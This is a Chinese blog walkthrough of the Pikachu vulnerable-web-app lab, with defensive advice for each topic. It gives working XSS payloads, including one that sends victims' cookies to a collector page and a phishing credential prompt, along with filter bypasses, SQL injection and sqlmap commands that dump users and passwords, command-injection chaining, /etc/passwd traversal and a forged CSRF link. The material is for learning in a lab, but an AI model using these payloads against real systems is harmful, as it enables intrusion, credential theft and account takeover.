目录:

下载phpstudy_pro

xss漏洞介绍

反射性xss(get)

存储型xss

dom型xss漏洞(在前端处理)

dom型xss-x漏洞

xss漏洞获取cookie

利用get型xss漏洞获取cookie

利用post型xss获取cookie

xss绕过

xss绕过-过滤-转换

xss绕过-过滤-编码

xss绕过-htmlspecialchars(函数)

xss盲打

xss钓鱼

xss防范措施

xss之href输出

xss之js输出

SQL注入之字符型注入

SQL注入之数字型注入

SQL注入之数据库information_schema注入

SQL注入之暴力破解表名和列名

SQL盲注

based boolean盲注(基于真假的盲注)

based time盲注(基于时间的盲注)

SQL注入之http header注入

SQL基于函数报错的注入

sqlmap工具的使用

SQL注入防范措施

代码层面

网络层面

RCE漏洞

files inclusion漏洞(文件包含漏洞)

本地文件包含漏洞

远程文件包含漏洞

越权漏洞

平行越权漏洞

垂直越权漏洞

CSRF(get)

CSRF防范措施

增加token验证

关于安全的会话管理(避免会话被利用)

访问控制安全管理

增加验证码
————————————————


下载phpstudy_pro(安装路径不可以有中文和空格)

开启apache和mysql。

去网上下载pikachu,将pikachu的压缩包放到phpstudy_pro的www目录下

在浏览器上输入127.0.0.1/pikachu进入练习平台。

xss漏洞介绍

危害

可以用来钓鱼攻击、前端js挖矿、用户cookie获取。

攻击流程

反射性xss(get)

测试流程

找输入点,输入一组唯一的字符,查看源码,ctrl+f搜索找到刚刚输入的,看是否进行了处理,然后提交构造的脚本代码(例:<script>alert('弹窗内容')</script>),看能否成功执行,能执行就说明存在xss漏洞。

在我们输入的时候,有些输入点设置了最大长度,但这些设置一般都是在前端做的,我们打开开发者工具就可以修改。

运用

get型提交以url方式提交,只要将url发送给攻击目标即可。

存储型xss

很明显,与反射性xss区别在于带有存储性。

dom型xss漏洞(在前端处理)

页面源代码

text是我们用户自己input上去的,经过dom处理,将text(也就是我们输入的内容)赋值给str,将str加在href上,(如箭头1所示)然后输出到id=dom的div标签里,我们可以用箭头2所指的“试试”来闭合掉a标签。

点击箭头1,再点击箭头2,结果应该会弹出一个xss的弹窗。

这就说明,这个地方是存在dom型xss漏洞的。

dom型xss-x漏洞

这个漏洞可以像反射型xss漏洞一样,利用url发送给攻击目标。它是从url中读入的。

页面源代码

所以该漏洞的危害性很大的。

xss漏洞获取cookie

利用get型xss漏洞获取cookie

首先建立一个xss后台

在cookie.php文件中修改重定向位置

输入代码

<script>document.location = 'http://127.0.0.1/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

进入xss后台就能看到获取的cookie。

我们可以将后面的那列referer直接发给用户,让用户触发代码,获取cookie。

利用post型xss获取cookie

post型的xss是无法直接发送url来攻击的。

开启一个网址进入post.html的网址

127.0.0.1/pikachu-master/pkxss/xcookie/post.html

我的网址是这样的,进入到这个网址之后,我们后台就得到cookie了。

如果从用户的角度来讲,就是用户在访问一个网址时,突然蹦出来一个这个网址,用户一点击,就会跳到我们设的重定向网址,我们后台就得到cookie了。

xss绕过

xss绕过-过滤-转换

1、前端限制绕过,有些操作是在前端做的,我们可以修改。

2、大小写,写payload的时候,利用大小写组合绕过。

3、拼凑,比如:<scri<script>pt>alert(111)</scri</script>pt>,就是有的后台会对你的script标签进行调换,一般换一次,换完之后前后又组成了一个script。

4、使用注释进行干扰,比如<scri<!--test-->pt>alert(111)</scri<!--test-->pt>。

xss绕过-过滤-编码

对后台过滤的特殊字符进行编码,来绕过后台。

xss绕过-htmlspecialchars(函数)

函数是把输入的字符进行编码

有的后端采用的是默认类型,默认类型是不会对单引号进行处理的

举个例子:

这边随便写入了一串字符,看下源码

可以看到并没有对单引号进行编码

这样就可以利用单引号闭合来插入代码

xss盲打

xss盲打会攻击后台管理员

进入后台后发现,刚输入的代码在后端执行了,所以我们可以通过盲打,去攻击后台管理员,去获取cookie。

xss钓鱼

<script src="http://127.0.0.1/pikachu-master/pkxss/xfish/fish.php"></script>

在存储型xss漏洞界面输入点输入以上代码,含义是访问fish.php文件。

上图fish.php文件内容,就是会弹出一个认证窗口,当用户填写后,会将结果发送至后台。

xss防范措施

总的原则:输入做过滤,输出做转义

过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字。

转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输出到js里面的进行js转义。

xss之href输出

这里可以使用javascript协议来执行js

payload为javascript:alert(111)

防范措施:只允许http,https其次在进行htmlspecialchars处理

xss之js输出

构造payload:123'</script><script>alert(111)</script>

利用该payload构成一个闭合,实现弹窗。

防范措施:使用\对特殊字符进行转义

SQL注入之字符型注入

这个和数字型思路一样,只是字符型会有引号,所以我们需要构造payload来闭合引号。

后端数据库的语句应该是select 字段 from 数据表 where uname=‘输入的’

当我们输入kobe or 1=1时会显示没有该uname,是因为,它会将整个kobe or 1=1加上引号,所以构造闭合的payload为:kobe' or 1=1# #里面的#是为了注释掉后面的引号。

搜索型SQL注入原理都是一样的,构成闭合,这里就不说了。

SQL注入之数字型注入

从这里可以看到,我们选了一个参数之后,在后台的操作,试着去想一想,应该是

select 字段 from 数据表 where id=1; #1为用户输入的

这样如果我们在输入点输入1 or 1=1,这样的话,where后面的条件就永久为真,就可以将数据表中的字段内容全显示出来。

先用bp抓下包

运行之后可以看到我们是正确的,数据表的内容全都呈现出来了

SQL注入之数据库information_schema注入

首先,先了解到每个MySQL都会自带有一个information_schema的数据库,里面存放着重要信息。

如何在sql注入页面获取后端数据库信息呢

先查询数据表的列数

payload:kobe' order by 2#

获取数据库名称

payload:kobe'union select database(),user()#

获取表名

payload:kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

我们想要的信息或许就在这张表里。(图中是users,不是user,图中文案写错了)

获取user表里的字段

payload:kobe' union select column_name,table_name from information_schema.columns where table_name='users'#

查users表中username,password字段

payload:kobe' union select username,password from users#

图中password一看就是加过密的,而且是md5加密,我们去网上解密看一下

SQL注入之暴力破解表名和列名

payload:kobe' and exists(select * from a)# #a为表名,判断a这个表是否存在。

例:

执行payload显示a这个表是不存在的,用bp抓包。

把这里a设置成爆破点。

像前面爆破密码一样,一般会用字典去爆,这里随便输入几个。

因为没有这个表的话,页面都提示doesn't exist,所以这里,加入doesn't exist。

爆破出来看到只有users没有提示doesn't exist,所以users是一个表。

知道表之后爆破字段列。

payload为:kobe' and exists(select id from users)# #id为字段名,是要爆破的点

过程和爆破表名一样。

SQL盲注

盲注分为based boolean和based time。都是没有报错的。

based boolean盲注(基于真假的盲注)

这里输入kobe可以显示,输入kobe' and 1=1#时也显示,但输入kobe' and 1=2#时显示不存在,说明,kobe肯定为真的,只要and后面也为真,则返回kobe结果。

测试一下:

payload1:kobe' and ascii(substr(database(),1,1))>113#

payload2:kobe' and ascii(substr(database(),1,1))<113#

上面payload的意思是取出数据库名字的第一个字符的ASCII码与113作比较,这个字符应该是p,ASCII码为112,所以小于113,这样我们可以一步步的去把数据库的名字猜出来,很麻烦,但没办法。

based time盲注(基于时间的盲注)

这里不管输入什么都只会有一种结果

我们可以这样操作

打开开发者工具,输入payload:kobe' and sleep(5)# #睡眠5秒钟

这里可以确定,这里有sql注入,基于时间的盲注

测试:

payload:kobe' and if(substr(database(),1,1)='p',sleep(5),null)# #如果数据库名字第一个字符为‘p’,则睡眠5秒钟。

SQL注入之http header注入

登录这个网站后看到信息被记录,我们就想到后台应该是对我们http头信息进行了获取,那么我们可以测试一下。

先用bp抓下包

抓到后,先将user-agent输入个单引号,测试一下是否写入数据库。

是直接拼接到数据库的,那我们可以利用payload获取信息。

firefox' or updatexml(1,concat(0x7e,database()),0) or '

SQL基于函数报错的注入

updatexml():函数是MySQL对xml文档数据进行查询和修改的xpath函数

语法:updatexml(表中字段名,指定位置,新内容) #指定位置必须有效,不然报错

例:根据报错,查看版本号

payload为:kobe' and updatexml(2,concat(0x7e,version()),56)#

根据报错,查看数据库名

payload为:kobe' and updatexml(2,concat(0x7e,database()),56)#

基于insert/update下的报错:

kobe' or updatexml(1,concat(0x7e,database()),0) or ' #用or作闭合

基于delete的报错

1 or updatexml(1,concat(0x7e,database()),0)

extractvalue():函数也是MySQL对xml文档数据进行查询的xpath函数

语法:extractvalue(表中字段名,指定位置)

例:根据报错,查看版本号

payload为:kobe' and extractvalue(0,concat(0x7e,version()))#

floor:MySQL中用来调整的函数

sqlmap工具的使用

找url漏洞

先找输入点

提交111后,它是get请求,将这串url复制下来

打开sqlmap(环境提前配置好)

输入:sqlmap.py -u "url"

看到这个说明找到了漏洞

查看数据库名称

输入:sqlmap.py -u "url" --current-db

查看数据库中数据表

输入:sqlmap.py -u "url" -D pikachu --tables #pikachu是数据库名

查看表里的字段

输入:sqlmap.py -u "url" -D pikachu -T users --columns #pikachu是数据库名,users是数据表名

查看字段内容(拿到password和username)

输入:sqlmap.py -u "url" -D pikachu -T users -C username,password --dump

SQL注入防范措施

代码层面

1、对输入进行严格的转移和过滤

2、使用预处理和参数化

网络层面

1、通过WAF设备启用防SQL Inject注入策略

2、云端防护(360网站卫士,阿里云盾等)

RCE漏洞

远程命令执行一般是攻击者直接向后台服务器发送远程注入系统的指令或代码,从而控制后台系统。

这个页面会直接是ping命令的接口,输入一个ip地址回去ping,如果这里存在RCE漏洞,在后面可以通过拼接其它命令,比如127.0.0.1&ipconfig

这样就会执行完ping 127.0.0.1命令后再去执行ipconfig,攻击者可以直接通过该输入点控制操作系统。

后台有时也会执行代码。

这里输入phpinfo();可以直接直接该代码。

files inclusion漏洞(文件包含漏洞)

分为本地文件包含漏洞和远程文件包含漏洞

程序员通常会将一系列函数写入一个文件中,当其他文件需要调用的时候,直接在文件头中写上一句包含函数调用函数代码。

包含函数:

include() #遇到错误警告,继续执行

require() #遇到错误停止脚本

有的网站会让用户选择需要包含的文件,开发人员如果没有对要包含的文件进行安全考虑,就会让攻击者来让后台执行任意文件。

本地文件包含漏洞

这里选择人名就会显示信息,看url可以看到每选一个,就会包含一个文件。

将这里的file2.php改成../../../../../../../etc/passwd #返回到根目录,去包含passwd文件

远程文件包含漏洞

远程文件包含原理同上,不同的是包含的文件是外部地址代码,php环境的利用条件是php.ini中设置allow_url_open(默认打开),allow_url_include(默认关闭)均是开启状态。

先写一段代码,将该代码文件放在一个站点上,将漏洞页面的url上的filename=代码文件地址。后台会执行并远程加载的内容创建一个文件,访问漏洞站点对应路径上的该文件可以看到我们文件写入成功同时也被漏洞站点执行了。

越权漏洞

平行越权漏洞

当前登录的是lili用户,在url中修改其他用户名,可以查看其他用户的信息。这就是一个越权漏洞。

垂直越权漏洞

先使用超级管理员登录,进行一次操作

新建一个用户sd,抓住包

在使用普通用户登录,普通用户是没法新添用户的。

抓包,复制普通用户登陆时的cookie,修改刚刚使用超级用户新添用户时抓到包的cookie。

这里可以看到刚刚管理员的操作又执行了一次。

CSRF(get)

首先根据提示登录账号

这是Lucy默认的账号内容,lucy可点击修改个人信息来随意修改

如果说现在我想修改她账号里的内容,可以利用CSRF漏洞。

具体如下:

我先在该网站创建一个账号,根据我的账号来修改信息,用bp抓包

抓到包后来修改相关内容,构造下面链接,发给lucy

127.0.0.1/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=nan&phonenum=123&add=dfsa&email=123456&submit=submit%20HTTP/1.1 HTTP/1.1

当lucy正在访问该网站,且点击了这个链接,就会用她自己的权限向后台发送请求来修改。

CSRF防范措施

增加token验证

token是一串随机的字符串

拿csrf(get)中举得例子,如果该网站每次修改信息都会生成token,那么我作为攻击方,向lucy发送那个恶意的url的时候,她点击该url是验不过去的,因为她访问的同时会生成一个新的token。

关于安全的会话管理(避免会话被利用)

  1. 客户端不保存敏感信息(如身份认证信息)

  2. 测试关闭、退出的会话过期机制

  3. 设置会话过期机制,如15分钟无操作,自动登录超时

访问控制安全管理

  1. 敏感信息的修改要求二次认证(如修改帐号时验证旧密码)

  2. 信息修改用post,而不是get。

  3. 通过http头部中的referer来限制原页面

增加验证码

  1. 验证码主要用来防爆破,但一些关键操作在不影响可用性的情况下最好也加上验证码。

pikachu靶场打靶分析相关推荐

  1. Pikachu靶场全关攻略(超详细!)

    一.靶场搭建 准备工具 phpstudy **pikachu靶场下载地址:**https://github.com/zhuifengshaonianhanlu/pikachu 搭建过程 将靶场文件夹放 ...

  2. 网络安全初学者工具安装:Kali,Windows xp虚拟机,pikachu靶场,burpsuite安装配置,phpstudy安装(学习笔记)

             摘要 在互联网发展的时代背景下,网络安全成为了越来越不可忽视的重要领域,为此,各国都采取了维护网络安全的举措,对于网络安全人才的需求不断增大,我国作为世界上最多使用计算机人口的国家, ...

  3. Pikachu靶场之文件包含漏洞详解

    Pikachu靶场之文件包含漏洞详解 前言 文件包含漏洞简述 1.漏洞描述 2.漏洞原因 3.漏洞危害 4.如何防御 第一关 File Inclusion(local) 1.尝试读取"隐藏& ...

  4. Pikachu靶场之越权漏洞详解

    Pikachu靶场之越权漏洞详解 前言 逻辑越权漏洞简述 漏洞描述 漏洞原因 漏洞分类 水平越权 垂直越权 权限框架缺陷 如何防御 第一关 水平越权 问题分析 尝试防御 第二关 垂直越权 问题分析 尝 ...

  5. pikachu靶场通关

    pikachu靶场通关详解 一.靶场介绍 二.靶场配置 三.靶场实战 3.1 暴力破解漏洞 3.1.1暴力破解攻击&暴力破解漏洞概述 3.1.2暴力破解漏洞测试流程 3.1.3基于表单的暴力破 ...

  6. 攻防系列——pikachu靶场通关练习

    目录 一.暴力破解 Burte Force(暴力破解)概述 (一)基于表单的暴力破解 (二)验证码绕过(on server) (三)验证码绕过(on client) (四)token 防爆破 二.Cr ...

  7. 以太Ethernaut靶场打靶—6 Delegation

    以太Ethernaut靶场打靶-6 Delegation 概括 源码审计 攻击 概括 本题主要是利用delegatecall函数的不严谨使用导致可以调用其他函数获取合约所有权可参考https://bl ...

  8. Pikachu靶场全级别通关教程详解

    pikach通关 暴力破解 Cross-Site Scripting XSS(跨站脚本)概述 跨站脚本漏洞类型及测试流程 跨站脚本漏洞常见类型 XSS漏洞形成的原因: 跨站脚本漏洞测试流程 tips ...

  9. Pikachu靶场通关记录(详细)

    Pikachu靶场通关记录 0x01 靶场介绍 Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞. 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么 ...

  10. XSS学习-pikachu靶场之xss

    XSS漏洞介绍 跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击 ...

最新文章

  1. 文本分类中的一些小问题
  2. MySQL 系统架构 说明
  3. 第六章 深度学习(上)
  4. 安防硬件WIZnet基于全硬件TCP/IP的安防产品应用及方案
  5. python 新闻摘要_每日新闻摘要:Microsoft内部禁止应用程序,这样就可以了
  6. 苹果CMS小俊XG013主题模板源码
  7. 利用IP地址查询接口来查询IP归属地
  8. 记事本编程开发以及IDEA编程开发
  9. Perl-列表和数组2
  10. 安装使用 apt-cyg
  11. 如何分析百度SEM竞价账户,简单实用小窍门
  12. 没有json数据,自己造!mockjs的使用-模拟数据其实超级简单
  13. Linux 中的分区魔术师-parted magic
  14. Nginx配置虚拟主机(基于域名、端口及IP)
  15. PowerPoint 2010去掉了宏录制器
  16. 用Arduino做一个“空心时钟”(只有表针,没有表盘)
  17. [转] Android开发环境的搭建 Android虚拟机搭建 安卓开发环境搭建
  18. 2022-2028全球与中国电穿孔缓冲液市场现状及未来发展趋势
  19. 三字经带注解_《三字经》带拼音和注解完美打印版
  20. 鸿蒙2000plus,华为P50pro曝光,天玑2000plus+5400mAh+鸿蒙系统,售价感人

热门文章

  1. python写植物大战僵尸简单版_写个最简单的植物大战僵尸修改器吧!c和python
  2. python导入包总是失败
  3. Redis数据结构之list对象
  4. Java基础 - 替罪羊树(Scapegoat Tree)
  5. 机器人动力学与控制学习笔记(七)————基于计算力矩法的滑模控制
  6. Xcode 文本替换快捷键
  7. Java TreeMap排序
  8. 在字节跳动实习的真实感受究竟如何?
  9. linux内网劫持教程,利用kali进行dns劫持入侵局域网
  10. 三星位置共享服务器,三星智能共享怎么用?三星智能共享图文详细使用教程